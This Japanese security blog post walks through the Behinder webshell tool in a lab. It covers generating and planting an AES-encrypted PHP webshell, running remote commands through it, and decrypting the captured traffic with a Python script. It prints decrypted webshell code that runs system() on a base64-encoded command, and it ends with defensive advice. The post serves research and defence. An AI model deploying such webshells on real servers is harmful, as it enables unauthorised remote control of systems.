
はじめに
この記事は、NFLaboratories Advent Calendar 2025 3日目の記事です。
こんにちは、ソリューション事業部の吉浦です。
今回は、高機能WebShellツールであるBehinderを紹介します。
なお、本記事の内容はセキュリティ理解のためのものです。
- 許可のないサーバーに対して試すことは絶対にやめましょう。
- Behinderを試すときは隔離された安全な検証環境(ローカルVM等)を使いましょう。
Behinderとは
Behinderは、WebShellの生成やシェルの管理を一元管理できるGUIツールです。
分かりやすいGUIと高い機能性を持っており、下記のように現実のサイバー攻撃での利用も多数報告されています。
- RevivalStone:Winnti Groupによる日本組織を狙った攻撃キャンペーン | LAC WATCH
- CVE-2023-29300: Adobe ColdFusion Vulnerability - TeamT5
ソースコードは公開されていませんが、実行形式のjarをGitHubから入手できます。
中国語話者によって作られており、GUIは中国語表示のみ対応しています。
Behinderを使ってみよう
検証の目標
今回の検証では、Behinderを使ってWebShellを管理することを目標とします。
WebShellの通信はAESを使って暗号化します。
検証環境
構成図は以下の通りです。

Behinderはマルチプラットフォームで動作するため、今回はVMのKali Linux上で実行します。
標的はVMのUbuntuで、Apache HTTPサーバーとPHPが稼働しています。
GitHubリポジトリのReadmeによると、BehinderはJRE8+で動作するようです。
2025年版のKali Linuxにデフォルトで入っているjavaでは正常動作しなかったので、今回はOpenJDK 17を別途ダウンロードして実行しました。
STEP1 : Behinderの起動
Behinder.jarを実行すると、Behinderを起動することができます。

前述の通り、中国語表示となっていますね。
デフォルトでWebShellが3つ登録されています。
STEP2 : WebShellの生成
BehinderからWebShellを生成することが出来ます。
まずはウインドウ左上「传输协议」(通信プロトコル)から設定ウインドウを開き、以下2点を設定します。
- 「协议名称」(暗号化プロトコル種別)から好きな暗号プロトコルを選択します。今回はdefault_aesを利用します。

- 「远距」(リモート)タブを選択し、脚本类型(スクリプト種類)としてphpを選択します。

設定画面では、画面中央に暗号化/復号処理のコードが表示されていることが分かります。
key変数がAESの共通暗号鍵ですね。デフォルトでe45e329feb5d925bとなっています。
ウインドウ上でコードを編集することができるので、鍵を変更してしまいましょう。
暗号はAES-128を使っているため、鍵長は128bitであることに注意が必要です(128bit以外の鍵長だと接続に失敗します)。
key変数を定義する4カ所すべて(本地/远距のphp、暗号化/復号)を変更します。


変更後はウインドウ下部の保存を押して、設定を保存できます。
ウインドウ上部の「生成服务端」(サーバー側を生成)を押すことで、WebShellファイル(shell.php)をserver/default_aesに保存できます。
僕の環境では「生成服务端」押下時にBehinderがフリーズする現象が発生しますが、ファイル出力は問題無くできていました。

STEP3 : WebShellの配置
STEP2で出力したWebShellを標的HTTPサーバーに配置します。
現実のシナリオでは脆弱性を悪用する等の方法で実現するところですが、今回は検証目的なので手動でUbuntuにコピーしました。
STEP4 : WebShellの登録
WebShellをBehinder上で使えるようにするには、初めに登録する必要があります。
まずはWebShellリストを右クリックして「新増」を選択します。

Shell登録ウインドウが表示されるので、WebShellアクセスに必要な情報を記述していきます。
- URL:WebShellのURL
- 脚本类型(スクリプト種類):今回はphp
- 加密类型(暗号化種類):自定义(カスタム)を選択
- 传输协议(転送プロトコル):default_aesを選択

保存を押すと、WebShellリストに1件追加されます。

STEP5 : WebShellへのアクセス
STEP4で登録したWebShellをダブルクリックすることで、詳細画面が開きます。
正常に機能しているようですね!(失敗時はPHPバージョン情報等は表示されません)

たくさんのタブがあり、様々な機能が使えます。
今回は標的サーバーに対してリモートコード実行したいので、「命令執行」タブを開きます。

各種コマンドを正しく実行できていますね。
ディレクトリ移動にも対応しているなど、シェルの機能も充実しています。
BehinderのWebShell通信を見る
WiresharkでWebShell通信を取得する
BehinderからWebShellへアクセスするときのHTTP通信をWiresharkで見てみます。
- idコマンドを実行したときのHTTP POSTリクエスト

- idコマンドを実行したときのHTTP POSTレスポンス

リクエストとレスポンスの両方でHTTPボディがちゃんと暗号化されています。
暗号化された領域を見てみると、リクエスト時の暗号データサイズがかなり大きい(4140bytes)ことが分かります。
idコマンドを実行しただけのはずですが、内部的に様々な制御がなされているようです。
AES暗号化領域を復号する
AES暗号鍵と暗号化/復号処理は既知なので、WebShell通信を復号して中身を確認したいと思います。
生成AIの全面的な支援のもと、Pythonで復号スクリプトを作りました。
#!/usr/bin/env python3 import sys import base64 import re from Crypto.Cipher import AES KEY = b"53b4da118e80fa58" # AES暗号鍵 def pkcs7_unpad(data: bytes) -> bytes: if not data: return data pad_len = data[-1] if pad_len < 1 or pad_len > AES.block_size: return data return data[:-pad_len] def find_valid_base64_chunk(raw: bytes) -> bytes: # AES暗号部を抽出 candidates = re.findall(rb'[A-Za-z0-9+/=]{16,}', raw) for c in candidates: try: decoded = base64.b64decode(c, validate=True) except Exception: continue if len(decoded) != 0 and len(decoded) % AES.block_size == 0: return c return raw.strip() def decrypt_from_bytes(raw: bytes) -> bytes: # AES暗号部を復号 b64_chunk = find_valid_base64_chunk(raw) ciphertext = base64.b64decode(b64_chunk) if len(ciphertext) % AES.block_size != 0: trim_len = (len(ciphertext) // AES.block_size) * AES.block_size if trim_len == 0: raise ValueError("Ciphertext length is not valid for AES and cannot be trimmed.") ciphertext = ciphertext[:trim_len] cipher = AES.new(KEY, AES.MODE_ECB) padded_plain = cipher.decrypt(ciphertext) plain = pkcs7_unpad(padded_plain) return plain def main(): if len(sys.argv) != 2: print(f"Usage: {sys.argv[0]} <pcap_extracted_binary_file>", file=sys.stderr) sys.exit(1) in_file = sys.argv[1] with open(in_file, "rb") as f: raw = f.read() try: plaintext = decrypt_from_bytes(raw) except Exception as e: print(f"[!] Decrypt error: {e}", file=sys.stderr) sys.exit(1) try: print(plaintext.decode("utf-8", errors="replace")) except Exception: sys.stdout.buffer.write(plaintext) if __name__ == "__main__": main()
引数としてpcapファイルを渡せば、HTTPリクエストのAES暗号部を復号して出力してくれます。
復号したPHPコードは以下の通りです(長いので一部編集)。
<?php // 本来この行は存在しませんが、シンタックスハイライト表示のため追記してます @error_reporting(0); function getSafeStr($str){ // : // 中略 // : } function main($cmd,$path) { // : // 中略 // : $c = $cmd; if (FALSE !== strpos(strtolower(PHP_OS), 'win')) { $c = $c . " 2>&1\n"; } $JueQDBH = 'is_callable'; $Bvce = 'in_array'; if ($JueQDBH('system') and ! $Bvce('system', $PadtJn)) { ob_start(); system($c); $kWJW = ob_get_contents(); ob_end_clean(); // : // 中略 // : } $result["status"] = base64_encode("success"); $result["msg"] = base64_encode(getSafeStr($kWJW)); echo encrypt(json_encode($result)); } function Encrypt($data) { $key="53b4da118e80fa58"; return base64_encode(openssl_encrypt($data, "AES-128-ECB", $key,OPENSSL_PKCS1_PADDING)); } $cmd="Y2QgL3Zhci93d3cvaHRtbC8gO2lk";$cmd=base64_decode($cmd);$path="L3Zhci93d3cvaHRtbC8=";$path=base64_decode($path); main($cmd,$path);
各OS環境でコマンド実行させる処理や、実行結果の暗号化する処理が入っていることが分かります。
実行するコマンドはPHPコード終盤のY2QgL3Zhci93d3cvaHRtbC8gO2lkで、Base64デコードするとcd /var/www/html/ ;idとなっています。
コマンド実行の成否はstatus、出力結果はmsgとしてクライアント側に送信されるようになっていますね。
感想
Behinderの機能性の高さには驚きました。
GUIを確認する限り、この記事の内容以外にもたくさんの機能がありそうです。
防御側としてはBehinderを特別視して対策するというより、一般的な対策をしっかり継続していくことが重要に思います。
WebShellを配置されるような脆弱性に対処するのは当然として、MITRE ATT&CKのWeb Shellページの緩和策等も併せて実施することが望ましいです。
またBehinderは情報を集めようにも中国語の解説が多く、なかなか苦戦しました。
これからBehinderを使おうという人がいれば、この記事が参考になれば幸いです(必ず安全な環境で試してくださいね!)。